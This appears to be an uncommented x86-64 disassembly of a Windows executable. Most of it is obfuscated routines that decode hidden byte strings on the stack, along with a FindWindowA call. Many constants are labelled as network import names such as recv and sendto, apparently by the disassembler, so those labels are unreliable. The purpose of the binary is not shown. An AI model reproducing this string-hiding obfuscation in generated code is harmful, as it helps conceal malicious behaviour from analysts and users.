lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bd2d2
sub r10b, 0x60
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x60
movzx eax, byte [rbp + rdi + 0x180]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bcb73
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bd2f5
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
jmp 0x1400bd3aa
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bd318
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
dec rdi
inc rdi
jmp 0x1400bcb73
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400bd34a
sub r10b, 0x70
movzx eax, r10b
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400bcb73
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bcf3c
lea edx, [r10 + 0x20]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bd49e
lea edx, [r10 + 0x40]
movzx eax, dl
and al, bl
movzx ecx, bl
sub cl, al
add cl, 0x20
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400bd50d
lea edx, [r10 - 0x30]
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r10b, 0x18
movzx eax, bl
and al, r10b
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, bl
add cl, r10b
movzx eax, cl
mov byte [rbp + rdi + 0x180], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x1400bd57f
sub r10b, 8
movzx eax, r10b
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
movzx eax, byte [rbp + rdi + 0x180]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bcb73
sub r10b, 0x48
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 8
jmp 0x1400bd54a
sub r10b, 0x68
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x28
dec rdi
inc rdi
jmp 0x1400bcb73
add r10b, 8
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x38
inc r9
dec rdi
inc rdi
jmp 0x1400bcb73
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
jmp 0x1400bd49e
movzx r10d, dil
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
sub r10b, 8
movzx eax, bl
and al, r10b
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, bl
add cl, r10b
mov byte [rbp + rdi + 0x180], cl
inc r9
dec rdi
inc rdi
jmp 0x1400bcb73
lea edx, [rdi + 0x38]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x1400bcb73
movzx r10d, dil
lea edx, [r10 - 0x58]
mov ecx, 0x34
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
sub r10b, 0x78
movzx eax, bl
and al, r10b
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, bl
add cl, r11b
add cl, r10b
mov byte [rbp + rdi + 0x180], cl
jmp 0x1400bd54a
lea edx, [rdi + 0x18]
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400bcb73
lea rcx, [rdi + r12]
and sil, cl
mov eax, reloc.WS2_32.dll_sendto
sub al, sil
lea r11d, [rax + rax]
add r11b, bl
add r11b, cl
lea edx, [rdi + 0x60]
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x180], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x180]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bcb73
lea rcx, [rdi + r15]
and sil, cl
mov eax, recv
sub al, sil
lea r11d, [rax + rax]
add r11b, bl
add r11b, cl
movzx eax, byte [rbp + rdi + 0x180]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bcb73
add r10b, 0x68
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400bcb70
sub r10b, 0x28
movzx eax, r10b
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400bcb60
lea rdx, [rbp + 0x17281e0]
jmp 0x1400bd649
lea rdx, [rbp + 0x8a3e28]
jmp 0x1400bd649
lea rdx, [rbp + 0x180]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [0x14022de00], rax
call fcn.1400a3910
mov rcx, qword [0x14022de78]
call fcn.14005e6a0
test al, al
jne 0x1400be2c3
mov byte [rbp + 0x310], 0xa0
mov byte [rbp + 0x311], 0xda
mov byte [rbp + 0x312], Ordinal_200
mov byte [rbp + 0x313], Ordinal_200
mov byte [rbp + 0x314], 0xdd
mov byte [rbp + 0x315], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x316], 0x9c
mov byte [rbp + 0x317], 0xcb
mov byte [rbp + 0x318], Ordinal_211
mov byte [rbp + 0x319], __WSAFDIsSet
mov byte [rbp + 0x31a], 0xcb
mov byte [rbp + 0x31b], Ordinal_211
mov byte [rbp + 0x31c], 0xc9
mov byte [rbp + 0x31d], 0xc1
mov byte [rbp + 0x31e], Ordinal_211
mov byte [rbp + 0x31f], Ordinal_217
mov byte [rbp + 0x320], 0xca
mov byte [rbp + 0x321], 0xf2
mov byte [rbp + 0x322], Ordinal_200
mov byte [rbp + 0x323], 0xec
mov byte [rbp + 0x324], 0xaa
mov byte [rbp + 0x325], 0xff
mov byte [rbp + 0x326], 0xeb
mov byte [rbp + 0x327], 0xf1
mov byte [rbp + 0x328], 0xea
mov byte [rbp + 0x329], 0xe6
mov byte [rbp + 0x32a], 0xf2
mov byte [rbp + 0x32b], 0x59
mov byte [rbp + 0x32c], 0x42
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x32d], xmm0
mov dword [rbp + 0x33d], eax
mov word [rbp + 0x341], ax
movabs rsi, 0x9a657e6168fb540f
movabs r15, 0x38c674a9dedf4c69
movabs r14, 0xcf307b243af1fc2d
movzx edx, byte [rsp + 0x30]
nop dword [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
mov rbx, r13
cmp rbx, 0x33
jae 0x1400be2ab
movzx r10d, byte [rbp + rbx + 0x310]
mov edi, r10d
nop dword [rax]
cmp r8, rbx
ja 0x1400be293
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400bd7d8
lea rdx, [rbx + rsi]
movzx eax, dil
and al, dl
add al, al
sub dl, al
sub dl, 0x69
add dl, r10b
jmp 0x1400bd81f
je 0x1400be219
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400be192
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400be162
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400be123
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400be103
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400be0bb
movzx r11d, bl
cmp r9, rbx
ja 0x1400be27b
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x1400bd84c
lea ecx, [r11 + 0x3b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x63
jmp 0x1400bd880
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400be0a4
inc rax
cmp r8, rax
je 0x1400be082
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400be066
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400be03a
nop
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400bddb7
nop dword [rax]
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400bdd9d
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400bdd74
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bdd4e
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bdd33
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400bdd17
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400bdcfb
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400bdcdf
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bdcbf
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400bdc8e
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400be25f
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400be243
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400bda5c
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400bda40
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400bda24
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400bdc42
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400bdbf9
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400bdbbc
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400bdb96
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x20]
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400bdb69
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400bdb4b
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400bdb2e
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400bdb0e
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400bdaee
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400bdadc
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400bdaba
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400bda95
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400bda7a
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400bd890
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x2a]
jmp 0x1400bd890
lea edx, [r11 + 0x25]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 3
add dl, cl
jmp 0x1400bd880
lea edx, [r11 + 7]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x31
add dl, cl
jmp 0x1400bd823
sub r11b, 0x17
movzx eax, r10b
and al, r11b
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0x5f
add dl, r11b
jmp 0x1400bd7b0
lea edx, [r11 - 0x28]
movzx eax, r10b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400be0d4
sub r11b, 0x46
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x16
inc r9
dec rbx
inc rbx
jmp 0x1400bd793
sub r11b, 0x64
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x44
dec rbx
inc rbx
jmp 0x1400bd793
lea edx, [r11 + 0x7e]
movzx eax, r10b
and al, dl
sub dl, 0x72
jmp 0x1400be134
add r11b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400be177
add r11b, 0x42
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400be17a
lea edx, [r11 + 0x24]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400be1aa
add r11b, 6
movzx eax, r10b
and al, r11b
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0x2a
add dl, r11b
jmp 0x1400be1d6
sub r11b, 0x18
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x58
movzx eax, byte [rbp + rbx + 0x310]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bd793
sub r11b, 0x63
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x4b
mov byte [rbp + rbx + 0x310], dl
inc rbx
jmp 0x1400bd793
lea edx, [r11 + 0x7f]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x79
add dl, cl
cmp r9, 0x41
jb 0x1400bdbad
lea edx, [r11 - 6]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x1400be0d6
lea edx, [r11 + 0x61]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x59
add dl, cl
cmp r8, 0x3e8
jae 0x1400be00a
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x1400bdf2e
lea edx, [r11 - 0x32]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400bdbd1
lea edx, [r11 + 0x43]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x2b
add dl, cl
lea rax, [r8 + r9]
cmp rax, 4
je 0x1400be024
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x1400bdea3
lea edx, [r11 - 0x6d]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 5
jmp 0x1400bdc0e
add r11b, 0x62
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x310]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bd793
add r11b, 0x44
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400be1d6
lea edx, [r11 + 0x26]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0xa
add dl, cl
jmp 0x1400be1aa
add r11b, 8
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x38
jmp 0x1400be17a
sub r11b, 0x16
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x66
jmp 0x1400be177
lea edx, [r11 - 0x34]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400be13c
sub r11b, 0x52
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400bd793
sub r11b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400bd793
lea edx, [r11 + 0x72]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x1e
jmp 0x1400be0d4
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x1400bddda
lea edx, [r11 + 0xf]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x69
jmp 0x1400bdc57
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bde10
add r11b, 0x76
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x3a
movzx eax, byte [rbp + rbx + 0x310]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bd793
inc rax
cmp r8, rax
jne 0x1400bde35
lea edx, [r11 - 0x4e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400be1aa
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bde50
lea edx, [r11 + 0xc]
movzx eax, r10b
and al, dl
sub dl, 0x54
jmp 0x1400be134
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bde7b
add r11b, 0x2a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x26
dec rbx
inc rbx
jmp 0x1400bd793
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400bdc59
lea edx, [r11 + 0x66]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400be0d4
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bdec6
lea edx, [r11 - 0x4f]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x29
jmp 0x1400be0d4
inc rax
cmp r8, rax
jne 0x1400bdee0
lea edx, [r11 + 0xb]
movzx eax, r10b
and al, dl
sub dl, 0x4d
jmp 0x1400be134
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bdf05
add r11b, 0x29
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x1f
jmp 0x1400be177
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bdc10
add r11b, 0x47
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0xf
jmp 0x1400be17a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bdf64
sub r11b, 0x14
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x74
movzx eax, byte [rbp + rbx + 0x310]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bd793
inc rax
cmp r8, rax
jne 0x1400bdf8a
add r11b, 0xa
movzx eax, r10b
and al, r11b
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0x46
add dl, r11b
jmp 0x1400be1d6
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bdfb5
sub r11b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x60
dec rbx
inc rbx
jmp 0x1400bd793
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bdfe3
sub r11b, 0x42
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x32
inc r9
dec rbx
inc rbx
jmp 0x1400bd793
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400bdbd3
lea edx, [r11 - 0x24]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 4
jmp 0x1400be0d4
lea edx, [r11 + 0x18]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x2c
add cl, cl
jmp 0x1400be13c
lea ecx, [r11 + 0x36]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [rcx - 0x7a]
jmp 0x1400be1aa
add r11b, 0x49
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
inc dl
movzx eax, byte [rbp + rbx + 0x310]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bd793
lea edx, [r11 + 0xd]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x5b
add dl, cl
jmp 0x1400be1aa
sub r11b, 0x6b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x13
dec rbx
inc rbx
jmp 0x1400bd793
lea edx, [r11 + 0x59]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x6f
jmp 0x1400be0d4
movzx r11d, bl
lea edx, [r11 + 0x1d]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x35
add dl, cl
add r11b, 9
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x3f
add r11b, r10b
mov byte [rbp + rbx + 0x310], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400bd793
lea ecx, [rbx - 0x1f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x27
dec rbx
inc rbx
jmp 0x1400bd793
movzx r11d, bl
lea edx, [r11 - 0x3d]
movzx eax, r10b
and al, dl
sub dl, 0x55
add al, al
movzx ecx, r10b
sub cl, al
add dl, cl
add r11b, 0x27
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x11
add r11b, dl
add r11b, r10b
mov byte [rbp + rbx + 0x310], r11b
jmp 0x1400be177
lea ecx, [rbx - 0x5b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x7d
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400bd793
lea rax, [rbx + r15]
and dil, al
add dil, dil
sub al, dil
lea edx, [r10 + rax]
add dl, 0x21
movzx r11d, bl
add r11b, 0x45
movzx eax, r10b
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x1d
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x310], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x54]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x4c
add r10b, cl
mov byte [rbp + rbx + 0x310], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x310]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bd793
lea rax, [rbx + r14]
and dil, al
add dil, dil
sub al, dil
lea edx, [r10 + rax]
sub dl, 0x3b
movzx eax, byte [rbp + rbx + 0x310]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bd793
sub r11b, 0x35
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x73
jmp 0x1400bd790
sub r11b, 0x53
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x45
jmp 0x1400bd780
lea rdx, [rbp + 0x15c7d24]
mov rcx, qword [0x14022e168]
call fcn.1400c90b0
jmp 0x1400c52da
lea rdx, [rbp + 0xd7d133]
mov rcx, qword [0x14022e168]
call fcn.1400c90b0
jmp 0x1400c52da
lea rdx, [rbp + 0x310]
mov rcx, qword [0x14022e168]
call fcn.1400c90b0
jmp 0x1400c52da
lea rdx, [0x140227f00]
lea rcx, [rbp + 0x60]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x38], rax
mov r8, rax
lea rdx, [rbp - 0x70]
mov rcx, qword [0x14022e160]
call fcn.14006ca20
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006bc00
movzx ecx, byte [rax]
mov byte [0x140229d6c], cl
lea rdx, [0x140227dc0]
lea rcx, [rbp + 0x80]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x38], rax
mov r8, rax
lea rdx, [rbp - 0x60]
mov rcx, qword [0x14022e160]
call fcn.14006ca20
mov rdi, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [rdi + 0x38], 0
jne 0x1400c909f
mov eax, dword [rdi + 0x30]
mov dword [0x1401da8a0], eax
lea rdx, [0x140227fa0]
lea rcx, [rbp + 0xa0]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x38], rax
mov r8, rax
lea rdx, [rbp - 0x50]
mov rcx, qword [0x14022e160]
call fcn.14006ca20
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006bc00
movzx ecx, byte [rax]
mov byte [0x140229d6b], cl
mov byte [0x140229d6a], 1
mov byte [rbp + 0x620], 0xfe
mov byte [rbp + 0x621], 0xed
mov byte [rbp + 0x622], 0xec
mov byte [rbp + 0x623], 0xe3
mov byte [rbp + 0x624], 0xef
mov byte [rbp + 0x625], Ordinal_45
mov byte [rbp + 0x626], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x627], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x628], 0xec
mov byte [rbp + 0x629], 0xfa
mov byte [rbp + 0x62a], 0xe1
mov byte [rbp + 0x62b], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x62c], 0xf3
mov byte [rbp + 0x62d], recv
mov byte [rbp + 0x62e], Ordinal_30
mov byte [rbp + 0x62f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x630], Ordinal_30
mov byte [rbp + 0x631], 3
mov byte [rbp + 0x632], Ordinal_35
mov byte [rbp + 0x633], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x634], reloc.WS2_32.dll_listen
mov byte [rbp + 0x635], Ordinal_35
mov byte [rbp + 0x636], 1
mov byte [rbp + 0x637], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x638], Ordinal_30
mov byte [rbp + 0x639], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x63a], 7
mov byte [rbp + 0x63b], Ordinal_30
mov byte [rbp + 0x63c], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x63d], Ordinal_200
mov byte [rbp + 0x63e], Ordinal_30
mov byte [rbp + 0x63f], 6
mov byte [rbp + 0x640], 1
mov byte [rbp + 0x641], 0xc0
mov byte [rbp + 0x642], reloc.WS2_32.dll_send
mov byte [rbp + 0x643], recv
mov byte [rbp + 0x644], 0xa
mov byte [rbp + 0x645], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x646], 0xa
mov byte [rbp + 0x647], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x648], 2
mov byte [rbp + 0x649], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x64a], 0xc9
mov byte [rbp + 0x64b], Ordinal_200
mov byte [rbp + 0x64c], Ordinal_30
mov byte [rbp + 0x64d], 0xf5
mov byte [rbp + 0x64e], 0xfa
mov byte [rbp + 0x64f], 0xf7
mov byte [rbp + 0x650], 0xfd
mov byte [rbp + 0x651], Ordinal_35
mov byte [rbp + 0x652], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x653], 0xf4
mov byte [rbp + 0x654], 0xf0
mov byte [rbp + 0x655], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x656], 0xfe
mov byte [rbp + 0x657], 0xf3
mov byte [rbp + 0x658], 0xf9
mov byte [rbp + 0x659], 0xf5
mov byte [rbp + 0x65a], 0xf7
mov byte [rbp + 0x65b], 0xf9
mov byte [rbp + 0x65c], 0xf7
mov byte [rbp + 0x65d], 0xe2
mov byte [rbp + 0x65e], 0xef
mov byte [rbp + 0x65f], 0xe9
mov byte [rbp + 0x660], 0xef
mov byte [rbp + 0x661], 0x3e
mov byte [rbp + 0x662], 0xe7
mov byte [rbp + 0x663], 0xed
mov byte [rbp + 0x664], 0xe0
mov byte [rbp + 0x665], Ordinal_50
mov byte [rbp + 0x666], gethostname
mov byte [rbp + 0x667], 0xe2
mov byte [rbp + 0x668], 0xe5
mov byte [rbp + 0x669], 0xe2
mov byte [rbp + 0x66a], gethostname
mov byte [rbp + 0x66b], gethostname
mov byte [rbp + 0x66c], gethostname
mov byte [rbp + 0x66d], __WSAFDIsSet
mov byte [rbp + 0x66e], 0x48
mov byte [rbp + 0x66f], __WSAFDIsSet
mov byte [rbp + 0x670], 0x51
mov byte [rbp + 0x671], 0x42
mov byte [rbp + 0x672], Ordinal_79
mov byte [rbp + 0x673], 0x55
mov byte [rbp + 0x674], __WSAFDIsSet
mov byte [rbp + 0x675], 0x5b
mov byte [rbp + 0x676], 0x9b
mov byte [rbp + 0x677], Ordinal_79
mov byte [rbp + 0x678], 0x9e
mov byte [rbp + 0x679], 0x90
mov byte [rbp + 0x67a], __WSAFDIsSet
mov byte [rbp + 0x67b], 0x9b
mov byte [rbp + 0x67c], 0x44
mov byte [rbp + 0x67d], 0x59
mov byte [rbp + 0x67e], 0x86
mov byte [rbp + 0x67f], 0x80
mov byte [rbp + 0x680], 0x85
mov byte [rbp + 0x681], 0x5f
mov byte [rbp + 0x682], Ordinal_143
mov byte [rbp + 0x683], Ordinal_143
mov byte [rbp + 0x684], 0x85
mov byte [rbp + 0x685], 0x81
mov byte [rbp + 0x686], 0x85
mov byte [rbp + 0x687], Ordinal_143
mov byte [rbp + 0x688], Ordinal_143
mov byte [rbp + 0x689], Ordinal_143
mov byte [rbp + 0x68a], 0x5b
mov byte [rbp + 0x68b], 0x54
